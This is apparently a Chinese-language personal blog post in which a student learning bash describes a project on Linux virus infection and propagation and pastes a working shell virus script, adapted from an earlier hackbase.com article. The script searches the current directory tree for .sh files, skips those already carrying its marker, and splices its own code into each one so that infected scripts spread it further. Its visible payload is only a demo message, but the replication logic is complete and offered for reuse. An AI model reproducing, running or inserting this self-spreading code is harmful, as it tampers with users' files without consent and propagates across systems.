这段时间一直在捣鼓shell脚本,但也只能说把基本的语法给看懂,还不能达到应用自如的地步,还需要多看看代码,多学习。
因为我们最近要实现的一个功能是linux病毒的感染和传播,因为刚刚起步,太复杂的还不能实现,所以就用shell来写个。也不能说是写,是在别人的基础上改了点点,然后自己再笑话吸收,主要还是学习别人的代码。http://www.hackbase.com/lib/2005-06-12/6987.html实现的功能也和这位前辈的一样,我主要是参考他的代码,我应该算是站在巨人的肩膀上了把。者这里要谢谢他。但是我有发写他的代码在我者运行又不能完全实现要求的功能,所以我又改了点点,通过自己动手去改,我也学到很多东西。下面直接贴代码把。功能是和他的一样的。
#!/bin/bash #******************************************************************************* # Author : He Xingjie # Email : gxmshxj@163.com # Last modified : 2013-01-18 16:04 # Filename : virus.sh # Description : 病毒将感染当前目录下的所有.sh结尾的文件,但不会重复感染。 # ****************************************************************************** PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:~/bin export PATH #B:<+!a%C&t:> set -x vFile=$0; vTmp=/tmp/.vTmp.$$ #$0获得当前程序的名称 for f in `find ./ -name "*.sh" -print`; do if [ ! -w $f -a ! -r $vFile ]; then continue; fi if grep '<+!a%C&t:>' $f ; then continue; fi if sed -n '1p' $f | grep 'csh'; then continue; fi cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi vNo=`awk '$0~/(^#)|(^$)/&&v==NR-1{v++}END{print 0+v}' $vTmp` echo "original vNo= $vNo" sed -n "1,${vNo}p" $vTmp >$f (sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile) >>$f vNo=`expr $vNo + 1` total_line=$(cat $vTmp | wc -l) #获得文件的总行数 sed -n "${vNo},${total_line}p" $vTmp >>$f #把文件原来的内容复制回来 rm -f $vTmp done 2>/dev/null unset vTmp ;unset vFile ;unset vNo echo "Hi, here is a demo shell virus in your script !" #E:<+!a%C&t:> #EOF